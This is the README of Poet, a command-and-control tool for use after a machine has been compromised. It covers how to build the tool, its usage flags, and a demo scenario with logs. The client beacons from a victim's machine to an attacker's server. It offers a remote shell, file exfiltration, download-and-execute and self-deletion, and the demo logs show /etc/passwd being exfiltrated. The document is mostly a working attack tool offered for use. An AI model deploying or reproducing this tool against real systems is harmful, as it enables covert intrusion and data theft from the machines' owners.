Poet - A simple Post-Exploitation Tool

The client program runs on the target machine and is configured with an IP address (the server) to connect to and a frequency to connect at. If the server isn't running when the client tries to connect, the client quietly sleeps and tries again at the next interval. If the server is running however, the attacker gets a control shell to control the client and perform various actions on the target including:
  • reconnaissance
  • remote shell
  • file exfiltration
  • download and execute
  • self destruct

Getting started

Go to the releases page and download the latest poet-client and poet-server files available.
Then skip to the Usage section below.
Alternatively, you can build Poet yourself (it's pretty easy). Make sure you have the python2.7 and zip executables available.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
This will create a bin/ directory which contains poet-client and poet-server.


Poet is super easy to use, and requires nothing more than the Python (2.7) standard library. To easily try it out, a typical invocation would look like:

Terminal 1:
$ ./poet-client -v 1
Terminal 2:
$ sudo ./poet-server
Note: By default, the server needs to be run as root (using sudo) because the default port it binds to is 443. If that makes you uncomfortable, simply omit sudo and use the -p <PORT> flag on both the client and server. Pick a nice, high number for your port (> 1024).
Of course, using the -h flag gives you the full usage.
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [-v] [-d] IP [INTERVAL]

positional arguments:
  IP                    server
  INTERVAL              (s)

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --verbose
  -d, --delete          delete client upon execution

$ ./poet-server -h
usage: poet-server [-h] [-p PORT]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT


This is just a small sample of what poet can do.
The scenario is, an attacker has gotten access to the victim's machine and downloaded and executed the client (in verbose mode ;). He/she does not have the server running at this point, but it's ok, the client waits patiently. Eventually the attacker is ready and starts the server, first starting a shell and executing uname -a, then exfiltrating /etc/passwd. Then he/she exits and detaches from the client, which continues running on the target waiting for the next opportunity to connect to the server.
Victim's Machine (
$ ./poet-client -v 10
[+] Poet started with interval of 10 seconds to port 443. Ctrl-c to exit.
[!] (2015-03-27 03:40:12.259676) Server is inactive
[!] (2015-03-27 03:40:22.263161) Server is inactive
[!] (2015-03-27 03:40:32.267308) Server is inactive
[+] (2015-03-27 03:40:42.273376) Server is active
[!] (2015-03-27 03:41:07.145979) Server is inactive
[!] (2015-03-27 03:41:17.150634) Server is inactive
[!] (2015-03-27 03:41:27.155614) Server is inactive
[!] (2015-03-27 03:41:37.160440) Server is inactive

Attacker's Machine (
# ./poet-server
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/

[+] Poet server started on 443.
[+] (2015-03-27 03:40:42.272601) Connected By: ('', 59309) -> VALID
[+] (2015-03-27 03:40:42.273087) Entering control shell
Welcome to psh, the Poet shell!
Running `help' will give you a list of supported commands.
psh > shell
psh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
psh > user@server $ ^D
psh > exfil /etc/passwd
psh : exfil written to archive/20150327/exfil/passwd-201503274054.txt
psh > help
psh > exit
[+] (2015-03-27 03:40:57.144083) Exiting control shell.
[-] (2015-03-27 03:40:57.144149) Poet server terminated.

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